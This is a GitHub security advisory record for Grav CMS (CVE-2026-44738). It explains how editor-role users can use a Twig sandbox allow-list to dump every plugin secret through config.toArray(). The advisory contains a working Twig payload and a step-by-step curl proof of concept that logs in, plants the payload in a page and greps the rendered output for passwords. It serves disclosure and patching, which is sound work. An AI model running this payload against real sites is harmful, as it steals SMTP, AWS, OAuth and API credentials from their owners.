{"id":"GHSA-j274-39qw-32c9","summary":"Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()","details":"## Summary\n\nThe Twig sandbox allow-list permits any user with the `admin.pages` role to call `config.toArray()` from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.\n\n## Details\n\nThe Twig sandbox allow-list in `system/config/security.yaml` explicitly permits `Config::toArray()` for the `Grav\\Common\\Config\\Config` class:\n\n```yaml\n- class: 'Grav\\Common\\Config\\Config'\n  methods: 'get, toarray, value, default, offsetget, offsetexists'\n```\n\nThe `config` object — which holds the full merged configuration tree including every key under `plugins.*` — is injected into every sandboxed render in `system/src/Grav/Common/Twig/Twig.php` (line 292):\n\n```php\n$twig_vars = [..., 'config' =\u003e $config, ...]\n```\n\nAny editor with `admin.pages` can save a page with `process.twig: true` in the frontmatter and the following payload in the body:\n\n```\n{{ config.toArray()|json_encode|raw }}\n```\n\nWhen the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under `user/config/plugins/*.yaml`.\n\n## PoC\n\n```bash\n# Step 1 — Get login nonce\nNONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \\\n  | grep -oP '(?\u003c=name=\"login-nonce\" value=\")[^\"]+')\n\n# Step 2 — Login as editor (no admin.super)\ncurl -sc /tmp/cookies.txt -b /tmp/cookies.txt \\\n  -X POST http://TARGET/admin \\\n  --data-urlencode \"data[username]=EDITOR_USER\" \\\n  --data-urlencode \"data[password]=EDITOR_PASS\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\" -o /dev/null\n\n# Step 3 — Get admin nonce\nADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \\\n  | grep -oP '(?\u003c=admin-nonce\" value=\")[^\"]+' | head -1)\n\n# Step 4 — Save page with process.twig:true and payload\ncurl -s -b /tmp/cookies.txt \\\n  -X POST http://TARGET/admin/pages/poc \\\n  --data-urlencode \"admin-nonce=${ADMIN_NONCE}\" \\\n  --data-urlencode \"task=save\" \\\n  --data-urlencode \"data[frontmatter]=title: poc\nprocess:\n    twig: true\npublished: true\" \\\n  --data-urlencode \"data[content]={{ config.toArray()|json_encode|raw }}\" \\\n  --data-urlencode \"data[folder]=poc\" \\\n  --data-urlencode \"data[route]=/\" \\\n  --data-urlencode \"data[name]=default\" -o /dev/null\n\n# Step 5 — Retrieve secrets from rendered page\ncurl -s http://TARGET/poc | grep -o '\"password\":\"[^\"]*\"'\n```\n\n## Impact\n\nAny user with the editor role (`admin.pages`) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.","aliases":["CVE-2026-44738"],"modified":"2026-09-10T03:51:06.175423483Z","published":"2026-05-13T15:29:40Z","database_specific":{"github_reviewed_at":"2026-05-13T15:29:40Z","nvd_published_at":"2026-05-11T17:16:34Z","cwe_ids":["CWE-200"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44738"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.0-rc.2"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-rc.2"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.0.0-rc.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-j274-39qw-32c9/GHSA-j274-39qw-32c9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}